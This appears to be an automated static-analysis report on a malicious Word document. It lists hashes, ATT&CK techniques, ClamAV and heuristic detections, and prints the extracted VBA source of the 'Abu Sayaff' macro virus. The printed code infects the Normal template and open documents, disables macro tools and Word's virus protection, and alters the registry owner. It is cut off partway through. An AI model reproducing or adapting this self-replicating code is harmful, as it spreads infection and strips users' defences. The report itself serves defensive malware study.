Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aaf3515f499c2b6b…

MALICIOUS

Office (OLE)

43.0 KB Created: 2001-05-01 14:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7d7bd91388e4f2c63bf3cf9c0ff27133 SHA-1: af8fbf55187f1e872d029c9cfcb82b48675dbe14 SHA-256: aaf3515f499c2b6b26de5fc4868609420e53849ed16b577dcec880638b46753c
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro code attempts to infect other documents by copying itself to the Normal template and any currently open documents. The presence of 'Win.Trojan.Pivis-2' and 'Win.Trojan.C-286' detections further confirms its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8420 bytes
SHA-256: ecc7b3a8c7c1acdd0d26f3ebec7fbce8bb5e37f8a3e1e9280cadaec9adf56d5f
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Possessed"
Sub Remarks()
'   ABU SAYAFF VIRUS created 09/18/2000 finished 10/03/2000
'   by: eUgEnE
'   Ghostfighter Edition
'   This virus is relatively benign. Created for study purposes only and not intented
'   to destroy or create damages to files/programs
End Sub
Sub Infect()
  On Error Resume Next
  Application.EnableCancelKey = wdCancelDisabled
    Call Initialize
    NTInfected = False
        For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(I).Name
                If clan = "Possessed" Then NTInfected = True
                If (clan <> "Possessed") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next I
        
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(J).Name
                    If clan = "Possessed" Then ODInfected = True
                    If (clan <> "Possessed") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next J
                
                If ODInfected = False Then
                    k = NormalTemplate.VBProject.VBComponents(2).CodeModule.CountOfLines
                        If k = Empty Then
                            k = ActiveDocument.VBProject.VBComponents(2).CodeModule.CountOfLines
                        End If
                    RNA = NormalTemplate.VBProject.VBComponents(2).CodeModule.Lines(1, k)
                        If RNA = Empty Then
                            RNA = ActiveDocument.VBProject.VBComponents(2).CodeModule.Lines(1, k)
                        End If
                    opendoc.VBProject.VBComponents.Add(1).Name = "Possessed"
                    opendoc.VBProject.VBComponents(2).CodeModule.InsertLines 1, RNA
                End If
            End With
        Next opendoc
        
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Possessed", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
End Sub
Sub Initialize()
    On Error Resume Next
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    CommandBars("tools").Reset
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Enabled = False
    CommandBars("Tools").Controls("Customize...").Enabled = False
    CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    ActiveDocument.ReadOnlyRecommended = False
    With Application
        .UserName = "eUgEnE "
        .UserAddress = "Ghostfighter Certified"
        .UserInitials = "RMM2001"
    End With
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "eUgEnE"
        .Title = "Ghostfighter Certified!"
        .Execute
    End With
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\WINDOWS\CURRENTVERSION", _
    "RegisteredOwner") = "eUgEnE"
End Sub
Sub FileSave()
    On Error Resume Next
    Call 
... (truncated)

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